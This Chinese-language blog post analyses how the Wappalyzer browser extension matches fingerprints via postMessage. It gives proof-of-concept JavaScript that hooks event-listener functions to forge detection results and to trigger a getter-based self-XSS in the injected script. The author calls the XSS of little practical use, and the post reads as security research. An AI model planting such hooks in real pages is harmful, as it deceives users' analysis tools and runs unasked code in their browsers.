欺骗Wappalyzer插件指纹识别
2022-4-3 00:10:37 Author: blog.xlab.app(查看原文) 阅读量:32 收藏

你怎么知道Wappalyzer是不是在骗你?

Wappalyzer插件检测原理

插件是开源的 https://github.com/wappalyzer/wappalyzer

readme中提到会收集cookie,dom,js,css,header等数据,通过既定规则匹配,实现获取信息并匹配版本

其中js和dom比较特别,这里以js为例分析

https://github.com/wappalyzer/wappalyzer/blob/v6.10.18/src/drivers/webextension/js/content.js#L36-L42

1
2
3
4
5
6
7
function getJs(technologies) {
return inject('js/js.js', 'js', {
technologies: technologies
.filter(({ js }) => Object.keys(js).length)
.map(({ name, js }) => ({ name, chains: Object.keys(js) })),
})
}

会插入一个js/js.js到前端去执行

https://github.com/wappalyzer/wappalyzer/blob/v6.10.18/src/drivers/webextension/js/js.js

代码比较长,简化代码逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21


;(function () {
try {
const onMessage = ({ data }) => {
检查data是否是指纹规则

removeEventListener('message', onMessage)

postMessage({
wappalyzer: {
js: 执行指纹规则的结果
},
})
}

addEventListener('message', onMessage)
} catch (e) {

}
})()

可以看到,这个js会启动监听message,插件后台会将指纹规则postMessage的方式传到前端,又前端进行指纹匹配,将结果用postMessage传回后台

伪造指纹

那么我们也可以手动postMessage一些数据去伪造指纹匹配结果

由于wappalyzer收到规则后会删除监听,可以hook removeEventListener函数,在调用时就可以手动postMessage伪造指纹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

let rel = removeEventListener;
removeEventListener = (name, func, opt) => {
if (
name === "message" &&
func &&
func.toString().includes("wappalyzer.technologies") !== -1 &&
func.toString().includes("removeEventListener") !== -1 &&
func.toString().includes("__UNDEFINED__") !== -1 &&
func.toString().includes("postMessage") !== -1
) {
poc();
rel(name, func, opt);
} else {
rel(name, func, opt);
}
};

const poc = () => {
postMessage({
wappalyzer: {
js: [
{
name: "jQuery",
chain: "$.fn.jquery",
value: "99.99.99",
},
],
},
});
};

同样的道理,把指纹库里的全部post过去就有全部指纹了

XSS

仔细观察执行js指纹规则的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
technologies.reduce((technologies, { name, chains }) => {
chains.forEach((chain, index) => {
const value = chain
.split('.')
.reduce(
(value, method) =>
value &&
value instanceof Object &&
Object.prototype.hasOwnProperty.call(value, method)
? value[method]
: '__UNDEFINED__',
window
)

if (value !== '__UNDEFINED__') {
technologies.push({
name,
chain,
value:
typeof value === 'string' || typeof value === 'number'
? value
: !!value,
})
}
})

return technologies
}, []),

technologies其实是从message里取的,因为检查比较弱,也就是可控的,打个断点可以看到数据结构

1
2
3
4
5
6
7
8
9
10
11
12
{
wappalyzer: {
technologies: [
{
name: "xxxx",
chains: [
"xxxx1.xxxx2"
],
},
],
},
}

value[method]其实就是执行xxxx1.xxxx2

利用getter可以在这里实现执行任意代码

1
2
3
4
5
window.bad = {
get xss() {
alert("xss!");
},
};

执行bad.xss就可以触发

至于触发时机,由于一旦收到message,listener就会被删除,只要在后台发送指纹规则之前发送poc就可以了

所以可以hook addEventListener,在添加完后立刻发送poc触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

let rel = addEventListener;
addEventListener = (name, func, opt) => {
if (
name === "message" &&
func &&
func.toString().includes("wappalyzer.technologies") !== -1 &&
func.toString().includes("removeEventListener") !== -1 &&
func.toString().includes("__UNDEFINED__") !== -1 &&
func.toString().includes("postMessage") !== -1
) {
rel(name, func, opt);
poc();
} else {
rel(name, func, opt);
}
};

window.bad = {
get xss() {
alert("xss!");
},
};

const poc = () => {
postMessage({
wappalyzer: {
technologies: [
{
name: "xss",
chains: ["bad.xss"],
},
],
},
});
};

可惜只能是self xss,没啥大用

demo

https://wappalyzer.demo.xlab.app

https://github.com/ttttmr/spoof-wappalyzer


文章来源: https://blog.xlab.app/p/63a5b7e6/
如有侵权请联系:admin#unsafe.sh